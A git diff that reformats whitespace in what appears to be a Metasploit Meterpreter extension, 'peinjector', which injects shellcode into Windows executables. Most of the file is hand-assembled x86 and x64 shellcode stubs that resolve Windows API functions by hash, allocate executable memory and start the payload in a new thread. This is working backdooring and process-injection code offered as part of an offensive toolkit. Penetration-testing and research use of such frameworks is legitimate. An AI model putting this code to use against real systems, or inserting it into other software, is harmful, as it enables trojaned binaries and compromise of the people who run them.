Fix Whitespace for Rubocop
bwatters-r7
parent
3ac24abfb2
commit
5a28863b12
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@ -2,248 +2,247 @@
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require 'rex/post/meterpreter/extensions/peinjector/tlv'
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module Rex
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module Post
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module Meterpreter
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module Extensions
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module Peinjector
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module Post
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module Meterpreter
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module Extensions
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module Peinjector
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###
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#
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# This meterpreter extensions allow to inject a given shellcode into an executable file.
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#
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###
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class Peinjector < Extension
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def initialize(client)
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super(client, 'peinjector')
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###
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#
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# This meterpreter extensions allow to inject a given shellcode into an executable file.
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#
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###
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class Peinjector < Extension
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def initialize(client)
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super(client, 'peinjector')
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client.register_extension_aliases(
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[
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{
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'name' => 'peinjector',
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'ext' => self
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}
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])
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end
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client.register_extension_aliases(
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[
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{
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'name' => 'peinjector',
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'ext' => self
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}
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])
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def inject_shellcode(opts = {})
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return nil unless opts[:shellcode]
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request = Packet.create_request('peinjector_inject_shellcode')
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request.add_tlv(TLV_TYPE_PEINJECTOR_SHELLCODE, opts[:shellcode])
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request.add_tlv(TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE, opts[:size])
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request.add_tlv(TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64, opts[:isx64])
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request.add_tlv(TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE, opts[:targetpe])
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response = client.send_request(request)
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error_msg = response.get_tlv_value(TLV_TYPE_PEINJECTOR_RESULT)
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raise error_msg if error_msg
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return response.get_tlv_value(TLV_TYPE_PEINJECTOR_RESULT)
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end
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def add_thread_x86(payload)
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stackpreserve = "\x90\x90\x60\x9c" # AUTOMATED ASM: x86 = ['nop', 'nop', 'pushad', 'pushfd']
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shellcode = "\xE8\xB7\xFF\xFF\xFF" # AUTOMATED ASM: x86 = ['call 0xffffffbc']
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shellcode += payload
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thread = "\xFC\x90\xE8\xC1\x00\x00\x00\x60\x89\xE5\x31\xD2\x90\x64\x8B" + # AUTOMATED ASM: x86 = ['cld', 'nop', 'call 0xc8', 'pushad', 'mov ebp, esp', 'xor edx, edx', 'nop', 'invalid']
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"\x52\x30\x8B\x52\x0C\x8B\x52\x14\xEB\x02" + # AUTOMATED ASM: x86 = ['push edx', 'xor [ebx+0x528b0c52], cl', 'adc al, 0xeb', 'invalid']
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"\x41\x10\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61" + # AUTOMATED ASM: x86 = ['inc ecx', 'adc [ebx-0x48f0d78e], cl', 'dec edx', 'xor edi, edi', 'xor eax, eax', 'lodsb', 'cmp al, 0x61']
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"\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\x49\x75\xEF\x52\x90\x57\x8B" + # AUTOMATED ASM: x86 = ['jl 0x4', 'sub al, 0x20', 'ror edi, 0xd', 'add edi, eax', 'dec ecx', 'jnz 0xfffffffb', 'push edx', 'nop', 'push edi', 'invalid']
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"\x52\x10\x90\x8B\x42\x3C\x01\xD0\x90\x8B\x40\x78\xEB\x07\xEA\x48" + # AUTOMATED ASM: x86 = ['push edx', 'adc [eax+0x13c428b], dl', 'rcl byte [eax-0x1487bf75], 1', 'pop es', 'invalid']
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"\x42\x04\x85\x7C\x3A\x85\xC0\x0F\x84\x68\x00\x00\x00\x90\x01\xD0" + # AUTOMATED ASM: x86 = ['inc edx', 'add al, 0x85', 'jl 0x3f', 'test eax, eax', 'jz 0x75', 'nop', 'add eax, edx']
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"\x50\x90\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x58\x49\x8B\x34\x8B" + # AUTOMATED ASM: x86 = ['push eax', 'nop', 'mov ecx, [eax+0x18]', 'mov ebx, [eax+0x20]', 'add ebx, edx', 'jecxz 0x64', 'dec ecx', 'mov esi, [ebx+ecx*4]']
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"\x01\xD6\x31\xFF\x90\x31\xC0\xEB\x04\xFF\x69\xD5\x38\xAC\xC1\xCF" + # AUTOMATED ASM: x86 = ['add esi, edx', 'xor edi, edi', 'nop', 'xor eax, eax', 'jmp 0xd', 'jmp far dword [ecx-0x2b]', 'invalid']
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"\x0D\x01\xC7\x38\xE0\xEB\x05\x7F\x1B\xD2\xEB\xCA\x75\xE6\x03\x7D" + # AUTOMATED ASM: x86 = ['or eax, 0xe038c701', 'jmp 0xc', 'jg 0x24', 'shr bl, cl', 'retf 0xe675', 'invalid']
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"\xF8\x3B\x7D\x24\x75\xD4\x58\x90\x8B\x58\x24\x01\xD3\x90\x66\x8B" + # AUTOMATED ASM: x86 = ['clc', 'cmp edi, [ebp+0x24]', 'jnz 0xffffffda', 'pop eax', 'nop', 'mov ebx, [eax+0x24]', 'add ebx, edx', 'nop', 'invalid']
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"\x0C\x4B\x8B\x58\x1C\x01\xD3\x90\xEB\x04\xCD\x97\xF1\xB1\x8B\x04" + # AUTOMATED ASM: x86 = ['or al, 0x4b', 'mov ebx, [eax+0x1c]', 'add ebx, edx', 'nop', 'jmp 0xe', 'int 0x97', 'int1', 'mov cl, 0x8b', 'invalid']
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"\x8B\x01\xD0\x90\x89\x44\x24\x24\x5B\x5B\x61\x90\x59\x5A\x51\xEB" + # AUTOMATED ASM: x86 = ['mov eax, [ecx]', 'rcl byte [eax+0x24244489], 1', 'pop ebx', 'pop ebx', 'popad', 'nop', 'pop ecx', 'pop edx', 'push ecx', 'invalid']
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"\x01\x0F\xFF\xE0\x58\x90\x5F\x5A\x8B\x12\xE9\x53\xFF\xFF\xFF\x90" + # AUTOMATED ASM: x86 = ['add [edi], ecx', 'jmp eax', 'pop eax', 'nop', 'pop edi', 'pop edx', 'mov edx, [edx]', 'jmp 0xffffff62', 'nop']
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"\x5D\x90" + # AUTOMATED ASM: x86 = ['pop ebp', 'nop'] x64 = ['pop rbp', 'nop']
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"\xBE" # AUTOMATED ASM: x86 = ['invalid'] x64 = ['invalid']
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thread +=[shellcode.length - 5].pack("V")
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thread += "\x90\x6A\x40\x90\x68\x00\x10\x00\x00" + # AUTOMATED ASM: x86 = ['nop', 'push 0x40', 'nop', 'push 0x1000']
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"\x56\x90\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x89\xC3\x89\xC7\x90" + # AUTOMATED ASM: x86 = ['push esi', 'nop', 'push 0x0', 'push 0xe553a458', 'call ebp', 'mov ebx, eax', 'mov edi, eax', 'nop']
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"\x89\xF1" # AUTOMATED ASM: x86 = ['mov ecx, esi'] x64 = ['mov ecx, esi']
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thread += "\xeb\x44" # <--length of shellcode below # AUTOMATED ASM: x86 = ['jmp 0x46']
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thread += "\x90\x5e" # AUTOMATED ASM: x86 = ['nop', 'pop esi']
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thread += "\x90\x90\x90" + # AUTOMATED ASM: x86 = ['nop', 'nop', 'nop']
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"\xF2\xA4" + # AUTOMATED ASM: x86 = ['repne movsb']
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"\xE8\x20\x00\x00" + # AUTOMATED ASM: x86 = ['invalid']
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"\x00\xBB\xE0\x1D\x2A\x0A\x90\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06" + # AUTOMATED ASM: x86 = ['add [ebx+0xa2a1de0], bh', 'nop', 'push 0x9dbd95a6', 'call ebp', 'cmp al, 0x6']
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"\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF" + # AUTOMATED ASM: x86 = ['jl 0xc', 'cmp bl, 0xe0', 'jnz 0xc', 'mov ebx, 0x6f721347', 'push 0x0', 'push ebx', 'invalid']
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"\xD5\x31\xC0\x50\x50\x50\x53\x50\x50\x68\x38\x68\x0D\x16\xFF\xD5" + # AUTOMATED ASM: x86 = ['aad 0x31', 'rcl byte [eax+0x50], 0x50', 'push ebx', 'push eax', 'push eax', 'push 0x160d6838', 'call ebp']
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"\x58\x58\x90\x61" # AUTOMATED ASM: x86 = ['pop eax', 'pop eax', 'nop', 'popad']
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thread += "\xe9" # AUTOMATED ASM: x86 = ['invalid']
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thread += [shellcode.length].pack("V")
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return stackpreserve + thread + shellcode
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end
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def add_thread_x64(payload)
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stackrestore = "\x9d\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x41\x5b\x41\x5a\x41\x59" + # AUTOMATED ASM: x64 = ['popfq', 'pop r15', 'pop r14', 'pop r13', 'pop r12', 'pop r11', 'pop r10', 'pop r9']
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"\x41\x58\x5d\x5c\x5f\x5e\x5a\x59\x5b\x58" # AUTOMATED ASM: x64 = ['pop r8', 'pop rbp', 'pop rsp', 'pop rdi', 'pop rsi', 'pop rdx', 'pop rcx', 'pop rbx', 'pop rax']
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stackpreserve = "\x90\x50\x53\x51\x52\x56\x57\x55\x41\x50" + # AUTOMATED ASM: x64 = ['nop', 'push rax', 'push rbx', 'push rcx', 'push rdx', 'push rsi', 'push rdi', 'push rbp', 'push r8']
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"\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41\x56\x41\x57\x9c" # AUTOMATED ASM: x64 = ['push r9', 'push r10', 'push r11', 'push r12', 'push r13', 'push r14', 'push r15', 'pushfq']
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shellcode = "\xE8\xB8\xFF\xFF\xFF" # AUTOMATED ASM: x64 = ['call 0xffffffffffffffbd']
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shellcode += payload
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thread = "\x90" + # <--THAT'S A NOP. \o/ # AUTOMATED ASM: x64 = ['nop']
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"\xe8\xc0\x00\x00\x00" + # jmp to allocate # AUTOMATED ASM: x64 = ['call 0xc5']
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# api_call
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"\x41\x51" + # push r9
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"\x41\x50" + # push r8
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"\x52" + # push rdx
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"\x51" + # push rcx
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"\x56" + # push rsi
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"\x48\x31\xD2" + # xor rdx,rdx
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"\x65\x48\x8B\x52\x60" + # mov rdx,qword ptr gs:[rdx+96]
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"\x48\x8B\x52\x18" + # mov rdx,qword ptr [rdx+24]
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"\x48\x8B\x52\x20" + # mov rdx,qword ptr[rdx+32]
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# next_mod
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"\x48\x8b\x72\x50" + # mov rsi,[rdx+80]
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"\x48\x0f\xb7\x4a\x4a" + # movzx rcx,word [rdx+74]
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"\x4d\x31\xc9" + # xor r9,r9
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# loop_modname
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"\x48\x31\xc0" + # xor rax,rax
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"\xac" + # lodsb
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"\x3c\x61" + # cmp al, 61h (a)
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"\x7c\x02" + # jl 02h
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"\x2c\x20" + # sub al, 0x20
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# not_lowercase
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"\x41\xc1\xc9\x0d" + # ror r9d, 13
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"\x41\x01\xc1" + # add r9d, eax
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"\xe2\xed" + # loop until read, back to xor rax, rax
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"\x52" + # push rdx ;Save the current position in the module list
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"\x41\x51" + # push r9 ; Save the current module hash for later
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# ; Proceed to iterate the export address table,
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"\x48\x8b\x52\x20" + # mov rdx, [rdx+32] ; Get this modules base address
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"\x8b\x42\x3c" + # mov eax, dword [rdx+60] ; Get PE header
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"\x48\x01\xd0" + # add rax, rdx ; Add the modules base address
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"\x8b\x80\x88\x00\x00\x00" + # mov eax, dword [rax+136] ; Get export tables RVA
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"\x48\x85\xc0" + # test rax, rax ; Test if no export address table
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"\x74\x67" + # je get_next_mod1 ; If no EAT present, process the nex
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"\x48\x01\xd0" + # add rax, rdx ; Add the modules base address
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"\x50" + # push rax ; Save the current modules EAT
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"\x8b\x48\x18" + # mov ecx, dword [rax+24] ; Get the number of function
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"\x44\x8b\x40\x20" + # mov r8d, dword [rax+32] ; Get the rva of the function
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"\x49\x01\xd0" + # add r8, rdx ; Add the modules base address
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# get_next_func: ;
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"\xe3\x56" + # jrcxz get_next_mod; When we reach the start of the EAT
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"\x48\xff\xc9" + # dec rcx ; Decrement the function name counter
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"\x41\x8b\x34\x88" + # mov esi, dword [r8+rcx*4]; Get rva of next module name
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"\x48\x01\xd6" + # add rsi, rdx ; Add the modules base address
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"\x4d\x31\xc9" + # xor r9, r9 ; Clear r9 which will store the hash
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# ; And compare it to the one we wan
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# loop_funcname: ;
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"\x48\x31\xc0" + # xor rax, rax ; Clear rax
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"\xac" + # lodsb ; Read in the next byte of the ASCII funct name
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"\x41\xc1\xc9\x0d" + # ror r9d, 13 ; Rotate right our hash value
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"\x41\x01\xc1" + # add r9d, eax ; Add the next byte of the name
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"\x38\xe0" + # cmp al, ah ; Compare AL to AH (null)
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"\x75\xf1" + # jne loop_funcname ; continue
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"\x4c\x03\x4c\x24\x08" + # add r9, [rsp+8] ; Add the current module hash
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"\x45\x39\xd1" + # cmp r9d, r10d ; Compare the hash
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"\x75\xd8" + # jnz get_next_func ; Go compute the next function hash
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"\x58" + # pop rax ; Restore the current modules EAT
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"\x44\x8b\x40\x24" + # mov r8d, dword [rax+36] ; Get the ordinal table rva
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"\x49\x01\xd0" + # add r8, rdx ; Add the modules base address
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"\x66\x41\x8b\x0c\x48" + # mov cx, [r8+2*rcx] ; Get the desired functions ordinal
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"\x44\x8b\x40\x1c" + # mov r8d, dword [rax+28] ; Get the funct addr table rva
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"\x49\x01\xd0" + # add r8, rdx ; Add the modules base address
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"\x41\x8b\x04\x88" + # mov eax, dword [r8+4*rcx]; Get the desired func RVA
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"\x48\x01\xd0" + # add rax, rdx ; Add the modules base address
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# finish:
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"\x41\x58" + # pop r8 ; Clear off the current modules hash
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"\x41\x58" + # pop r8 ;Clear off the curr position in the module list
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"\x5E" + # pop rsi ; Restore RSI
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"\x59" + # pop rcx ; Restore the 1st parameter
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"\x5A" + # pop rdx ; Restore the 2nd parameter
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"\x41\x58" + # pop r8 ; Restore the 3rd parameter
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"\x41\x59" + # pop r9 ; Restore the 4th parameter
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"\x41\x5A" + # pop r10 ; pop off the return address
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"\x48\x83\xEC\x20" + # sub rsp, 32 ; reserve space for the register params
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"\x41\x52" + # push r10 ; push back the return address
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"\xFF\xE0" + # jmp rax ; Jump into the required function
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# get_next_mod: ;
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"\x58" + # pop rax ; Pop off the current modules EAT
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# get_next_mod1: ;
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"\x41\x59" + # pop r9 ; Pop off the current modules hash
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"\x5A" + # pop rdx ; Restore our position in the module list
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"\x48\x8B\x12" + # mov rdx, [rdx] ; Get the next module
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"\xe9\x57\xff\xff\xff" # jmp next_mod ; Process this module
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# allocate
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thread += "\x5d" + # pop rbp
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"\x49\xc7\xc6" # mov r14, 1abh size of payload... # AUTOMATED ASM: x64 = ['invalid']
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thread += [shellcode.length - 5].pack("V")
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thread += "\x6a\x40" + # push 40h
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"\x41\x59" + # pop r9 now 40h
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"\x68\x00\x10\x00\x00" + # push 1000h
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"\x41\x58" + # pop r8.. now 1000h
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"\x4C\x89\xF2" + # mov rdx, r14
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"\x6A\x00" + # push 0
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"\x59" + # pop rcx
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"\x68\x58\xa4\x53\xe5" + # push E553a458
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"\x41\x5A" + # pop r10
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"\xff\xd5" + # call rbp
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"\x48\x89\xc3" + # mov rbx, rax ; Store allocated address in ebx
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"\x48\x89\xc7" # mov rdi, rax ; Prepare EDI with the new address
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thread += "\x48\xc7\xc1" # AUTOMATED ASM: x86 = ['dec eax', 'invalid'] x64 = ['invalid']
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thread += [shellcode.length - 5].pack("V")
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thread += "\xeb\x43" # AUTOMATED ASM: x86 = ['jmp 0x45'] x64 = ['jmp 0x45']
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# got_payload:
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thread += "\x5e" + # pop rsi ; Prepare ESI with the source
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"\xf2\xa4" + # repne movsb ; Copy the payload to RWX memo
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"\xe8\x00\x00\x00\x00" + # call set_handler ; Configure error handling
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# set_handler:
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"\x48\x31\xC0" + # xor rax,rax
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"\x50" + # push rax ; LPDWORD lpThreadId (NULL)
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"\x50" + # push rax ; DWORD dwCreationFlags (0)
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"\x49\x89\xC1" + # mov r9, rax ; LPVOID lpParameter (NULL)
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"\x48\x89\xC2" + # mov rdx, rax ; LPTHREAD_START_ROUTINE (payload)
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"\x49\x89\xD8" + # mov r8, rbx ; SIZE_T dwStackSize (0 for default)
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"\x48\x89\xC1" + # mov rcx, rax ; LPSECURITY_ATTRIBUTES (NULL)
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"\x49\xC7\xC2\x38\x68\x0D\x16" + # mov r10, 0x160D6838 ; hash("kernel32.dll","CreateThread")
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"\xFF\xD5" + # call rbp ; Spawn payload thread
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"\x48\x83\xC4\x58" + # add rsp, 50
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# stackrestore
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"\x9d\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x41\x5b\x41\x5a\x41\x59" + # AUTOMATED ASM: x64 = ['popfq', 'pop r15', 'pop r14', 'pop r13', 'pop r12', 'pop r11', 'pop r10', 'pop r9']
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"\x41\x58\x5d\x5f\x5e\x5a\x59\x5b\x58" # AUTOMATED ASM: x64 = ['pop r8', 'pop rbp', 'pop rdi', 'pop rsi', 'pop rdx', 'pop rcx', 'pop rbx', 'pop rax']
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||||
thread += "\xe9" # AUTOMATED ASM: x64 = ['invalid']
|
||||
thread += [shellcode.length].pack("V")
|
||||
|
||||
return stackpreserve + thread + shellcode
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def inject_shellcode(opts = {})
|
||||
return nil unless opts[:shellcode]
|
||||
|
||||
request = Packet.create_request('peinjector_inject_shellcode')
|
||||
request.add_tlv(TLV_TYPE_PEINJECTOR_SHELLCODE, opts[:shellcode])
|
||||
request.add_tlv(TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE, opts[:size])
|
||||
request.add_tlv(TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64, opts[:isx64])
|
||||
request.add_tlv(TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE, opts[:targetpe])
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
error_msg = response.get_tlv_value(TLV_TYPE_PEINJECTOR_RESULT)
|
||||
raise error_msg if error_msg
|
||||
return response.get_tlv_value(TLV_TYPE_PEINJECTOR_RESULT)
|
||||
end
|
||||
|
||||
def add_thread_x86(payload)
|
||||
stackpreserve = "\x90\x90\x60\x9c" # AUTOMATED ASM: x86 = ['nop', 'nop', 'pushad', 'pushfd']
|
||||
shellcode = "\xE8\xB7\xFF\xFF\xFF" # AUTOMATED ASM: x86 = ['call 0xffffffbc']
|
||||
shellcode += payload
|
||||
|
||||
thread = "\xFC\x90\xE8\xC1\x00\x00\x00\x60\x89\xE5\x31\xD2\x90\x64\x8B" + # AUTOMATED ASM: x86 = ['cld', 'nop', 'call 0xc8', 'pushad', 'mov ebp, esp', 'xor edx, edx', 'nop', 'invalid']
|
||||
"\x52\x30\x8B\x52\x0C\x8B\x52\x14\xEB\x02" + # AUTOMATED ASM: x86 = ['push edx', 'xor [ebx+0x528b0c52], cl', 'adc al, 0xeb', 'invalid']
|
||||
"\x41\x10\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61" + # AUTOMATED ASM: x86 = ['inc ecx', 'adc [ebx-0x48f0d78e], cl', 'dec edx', 'xor edi, edi', 'xor eax, eax', 'lodsb', 'cmp al, 0x61']
|
||||
"\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\x49\x75\xEF\x52\x90\x57\x8B" + # AUTOMATED ASM: x86 = ['jl 0x4', 'sub al, 0x20', 'ror edi, 0xd', 'add edi, eax', 'dec ecx', 'jnz 0xfffffffb', 'push edx', 'nop', 'push edi', 'invalid']
|
||||
"\x52\x10\x90\x8B\x42\x3C\x01\xD0\x90\x8B\x40\x78\xEB\x07\xEA\x48" + # AUTOMATED ASM: x86 = ['push edx', 'adc [eax+0x13c428b], dl', 'rcl byte [eax-0x1487bf75], 1', 'pop es', 'invalid']
|
||||
"\x42\x04\x85\x7C\x3A\x85\xC0\x0F\x84\x68\x00\x00\x00\x90\x01\xD0" + # AUTOMATED ASM: x86 = ['inc edx', 'add al, 0x85', 'jl 0x3f', 'test eax, eax', 'jz 0x75', 'nop', 'add eax, edx']
|
||||
"\x50\x90\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x58\x49\x8B\x34\x8B" + # AUTOMATED ASM: x86 = ['push eax', 'nop', 'mov ecx, [eax+0x18]', 'mov ebx, [eax+0x20]', 'add ebx, edx', 'jecxz 0x64', 'dec ecx', 'mov esi, [ebx+ecx*4]']
|
||||
"\x01\xD6\x31\xFF\x90\x31\xC0\xEB\x04\xFF\x69\xD5\x38\xAC\xC1\xCF" + # AUTOMATED ASM: x86 = ['add esi, edx', 'xor edi, edi', 'nop', 'xor eax, eax', 'jmp 0xd', 'jmp far dword [ecx-0x2b]', 'invalid']
|
||||
"\x0D\x01\xC7\x38\xE0\xEB\x05\x7F\x1B\xD2\xEB\xCA\x75\xE6\x03\x7D" + # AUTOMATED ASM: x86 = ['or eax, 0xe038c701', 'jmp 0xc', 'jg 0x24', 'shr bl, cl', 'retf 0xe675', 'invalid']
|
||||
"\xF8\x3B\x7D\x24\x75\xD4\x58\x90\x8B\x58\x24\x01\xD3\x90\x66\x8B" + # AUTOMATED ASM: x86 = ['clc', 'cmp edi, [ebp+0x24]', 'jnz 0xffffffda', 'pop eax', 'nop', 'mov ebx, [eax+0x24]', 'add ebx, edx', 'nop', 'invalid']
|
||||
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x90\xEB\x04\xCD\x97\xF1\xB1\x8B\x04" + # AUTOMATED ASM: x86 = ['or al, 0x4b', 'mov ebx, [eax+0x1c]', 'add ebx, edx', 'nop', 'jmp 0xe', 'int 0x97', 'int1', 'mov cl, 0x8b', 'invalid']
|
||||
"\x8B\x01\xD0\x90\x89\x44\x24\x24\x5B\x5B\x61\x90\x59\x5A\x51\xEB" + # AUTOMATED ASM: x86 = ['mov eax, [ecx]', 'rcl byte [eax+0x24244489], 1', 'pop ebx', 'pop ebx', 'popad', 'nop', 'pop ecx', 'pop edx', 'push ecx', 'invalid']
|
||||
"\x01\x0F\xFF\xE0\x58\x90\x5F\x5A\x8B\x12\xE9\x53\xFF\xFF\xFF\x90" + # AUTOMATED ASM: x86 = ['add [edi], ecx', 'jmp eax', 'pop eax', 'nop', 'pop edi', 'pop edx', 'mov edx, [edx]', 'jmp 0xffffff62', 'nop']
|
||||
"\x5D\x90" + # AUTOMATED ASM: x86 = ['pop ebp', 'nop'] x64 = ['pop rbp', 'nop']
|
||||
"\xBE" # AUTOMATED ASM: x86 = ['invalid'] x64 = ['invalid']
|
||||
|
||||
thread +=[shellcode.length - 5].pack("V")
|
||||
|
||||
thread += "\x90\x6A\x40\x90\x68\x00\x10\x00\x00" + # AUTOMATED ASM: x86 = ['nop', 'push 0x40', 'nop', 'push 0x1000']
|
||||
"\x56\x90\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x89\xC3\x89\xC7\x90" + # AUTOMATED ASM: x86 = ['push esi', 'nop', 'push 0x0', 'push 0xe553a458', 'call ebp', 'mov ebx, eax', 'mov edi, eax', 'nop']
|
||||
"\x89\xF1" # AUTOMATED ASM: x86 = ['mov ecx, esi'] x64 = ['mov ecx, esi']
|
||||
|
||||
thread += "\xeb\x44" # <--length of shellcode below # AUTOMATED ASM: x86 = ['jmp 0x46']
|
||||
|
||||
thread += "\x90\x5e" # AUTOMATED ASM: x86 = ['nop', 'pop esi']
|
||||
|
||||
thread += "\x90\x90\x90" + # AUTOMATED ASM: x86 = ['nop', 'nop', 'nop']
|
||||
"\xF2\xA4" + # AUTOMATED ASM: x86 = ['repne movsb']
|
||||
"\xE8\x20\x00\x00" + # AUTOMATED ASM: x86 = ['invalid']
|
||||
"\x00\xBB\xE0\x1D\x2A\x0A\x90\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06" + # AUTOMATED ASM: x86 = ['add [ebx+0xa2a1de0], bh', 'nop', 'push 0x9dbd95a6', 'call ebp', 'cmp al, 0x6']
|
||||
"\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF" + # AUTOMATED ASM: x86 = ['jl 0xc', 'cmp bl, 0xe0', 'jnz 0xc', 'mov ebx, 0x6f721347', 'push 0x0', 'push ebx', 'invalid']
|
||||
"\xD5\x31\xC0\x50\x50\x50\x53\x50\x50\x68\x38\x68\x0D\x16\xFF\xD5" + # AUTOMATED ASM: x86 = ['aad 0x31', 'rcl byte [eax+0x50], 0x50', 'push ebx', 'push eax', 'push eax', 'push 0x160d6838', 'call ebp']
|
||||
"\x58\x58\x90\x61" # AUTOMATED ASM: x86 = ['pop eax', 'pop eax', 'nop', 'popad']
|
||||
|
||||
thread += "\xe9" # AUTOMATED ASM: x86 = ['invalid']
|
||||
|
||||
thread += [shellcode.length].pack("V")
|
||||
return stackpreserve + thread + shellcode
|
||||
end
|
||||
|
||||
def add_thread_x64(payload)
|
||||
stackrestore = "\x9d\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x41\x5b\x41\x5a\x41\x59" + # AUTOMATED ASM: x64 = ['popfq', 'pop r15', 'pop r14', 'pop r13', 'pop r12', 'pop r11', 'pop r10', 'pop r9']
|
||||
"\x41\x58\x5d\x5c\x5f\x5e\x5a\x59\x5b\x58" # AUTOMATED ASM: x64 = ['pop r8', 'pop rbp', 'pop rsp', 'pop rdi', 'pop rsi', 'pop rdx', 'pop rcx', 'pop rbx', 'pop rax']
|
||||
|
||||
|
||||
stackpreserve = "\x90\x50\x53\x51\x52\x56\x57\x55\x41\x50" + # AUTOMATED ASM: x64 = ['nop', 'push rax', 'push rbx', 'push rcx', 'push rdx', 'push rsi', 'push rdi', 'push rbp', 'push r8']
|
||||
"\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41\x56\x41\x57\x9c" # AUTOMATED ASM: x64 = ['push r9', 'push r10', 'push r11', 'push r12', 'push r13', 'push r14', 'push r15', 'pushfq']
|
||||
|
||||
|
||||
shellcode = "\xE8\xB8\xFF\xFF\xFF" # AUTOMATED ASM: x64 = ['call 0xffffffffffffffbd']
|
||||
|
||||
shellcode += payload
|
||||
|
||||
thread = "\x90" + # <--THAT'S A NOP. \o/ # AUTOMATED ASM: x64 = ['nop']
|
||||
"\xe8\xc0\x00\x00\x00" + # jmp to allocate # AUTOMATED ASM: x64 = ['call 0xc5']
|
||||
# api_call
|
||||
"\x41\x51" + # push r9
|
||||
"\x41\x50" + # push r8
|
||||
"\x52" + # push rdx
|
||||
"\x51" + # push rcx
|
||||
"\x56" + # push rsi
|
||||
"\x48\x31\xD2" + # xor rdx,rdx
|
||||
"\x65\x48\x8B\x52\x60" + # mov rdx,qword ptr gs:[rdx+96]
|
||||
"\x48\x8B\x52\x18" + # mov rdx,qword ptr [rdx+24]
|
||||
"\x48\x8B\x52\x20" + # mov rdx,qword ptr[rdx+32]
|
||||
|
||||
# next_mod
|
||||
"\x48\x8b\x72\x50" + # mov rsi,[rdx+80]
|
||||
"\x48\x0f\xb7\x4a\x4a" + # movzx rcx,word [rdx+74]
|
||||
"\x4d\x31\xc9" + # xor r9,r9
|
||||
|
||||
# loop_modname
|
||||
"\x48\x31\xc0" + # xor rax,rax
|
||||
"\xac" + # lodsb
|
||||
"\x3c\x61" + # cmp al, 61h (a)
|
||||
"\x7c\x02" + # jl 02h
|
||||
"\x2c\x20" + # sub al, 0x20
|
||||
|
||||
# not_lowercase
|
||||
"\x41\xc1\xc9\x0d" + # ror r9d, 13
|
||||
"\x41\x01\xc1" + # add r9d, eax
|
||||
"\xe2\xed" + # loop until read, back to xor rax, rax
|
||||
"\x52" + # push rdx ;Save the current position in the module list
|
||||
"\x41\x51" + # push r9 ; Save the current module hash for later
|
||||
# ; Proceed to iterate the export address table,
|
||||
"\x48\x8b\x52\x20" + # mov rdx, [rdx+32] ; Get this modules base address
|
||||
"\x8b\x42\x3c" + # mov eax, dword [rdx+60] ; Get PE header
|
||||
"\x48\x01\xd0" + # add rax, rdx ; Add the modules base address
|
||||
"\x8b\x80\x88\x00\x00\x00" + # mov eax, dword [rax+136] ; Get export tables RVA
|
||||
"\x48\x85\xc0" + # test rax, rax ; Test if no export address table
|
||||
"\x74\x67" + # je get_next_mod1 ; If no EAT present, process the nex
|
||||
"\x48\x01\xd0" + # add rax, rdx ; Add the modules base address
|
||||
"\x50" + # push rax ; Save the current modules EAT
|
||||
"\x8b\x48\x18" + # mov ecx, dword [rax+24] ; Get the number of function
|
||||
"\x44\x8b\x40\x20" + # mov r8d, dword [rax+32] ; Get the rva of the function
|
||||
"\x49\x01\xd0" + # add r8, rdx ; Add the modules base address
|
||||
|
||||
# get_next_func: ;
|
||||
"\xe3\x56" + # jrcxz get_next_mod; When we reach the start of the EAT
|
||||
"\x48\xff\xc9" + # dec rcx ; Decrement the function name counter
|
||||
"\x41\x8b\x34\x88" + # mov esi, dword [r8+rcx*4]; Get rva of next module name
|
||||
"\x48\x01\xd6" + # add rsi, rdx ; Add the modules base address
|
||||
"\x4d\x31\xc9" + # xor r9, r9 ; Clear r9 which will store the hash
|
||||
# ; And compare it to the one we wan
|
||||
# loop_funcname: ;
|
||||
"\x48\x31\xc0" + # xor rax, rax ; Clear rax
|
||||
"\xac" + # lodsb ; Read in the next byte of the ASCII funct name
|
||||
"\x41\xc1\xc9\x0d" + # ror r9d, 13 ; Rotate right our hash value
|
||||
"\x41\x01\xc1" + # add r9d, eax ; Add the next byte of the name
|
||||
"\x38\xe0" + # cmp al, ah ; Compare AL to AH (null)
|
||||
"\x75\xf1" + # jne loop_funcname ; continue
|
||||
"\x4c\x03\x4c\x24\x08" + # add r9, [rsp+8] ; Add the current module hash
|
||||
"\x45\x39\xd1" + # cmp r9d, r10d ; Compare the hash
|
||||
"\x75\xd8" + # jnz get_next_func ; Go compute the next function hash
|
||||
|
||||
"\x58" + # pop rax ; Restore the current modules EAT
|
||||
"\x44\x8b\x40\x24" + # mov r8d, dword [rax+36] ; Get the ordinal table rva
|
||||
"\x49\x01\xd0" + # add r8, rdx ; Add the modules base address
|
||||
"\x66\x41\x8b\x0c\x48" + # mov cx, [r8+2*rcx] ; Get the desired functions ordinal
|
||||
"\x44\x8b\x40\x1c" + # mov r8d, dword [rax+28] ; Get the funct addr table rva
|
||||
"\x49\x01\xd0" + # add r8, rdx ; Add the modules base address
|
||||
"\x41\x8b\x04\x88" + # mov eax, dword [r8+4*rcx]; Get the desired func RVA
|
||||
"\x48\x01\xd0" + # add rax, rdx ; Add the modules base address
|
||||
|
||||
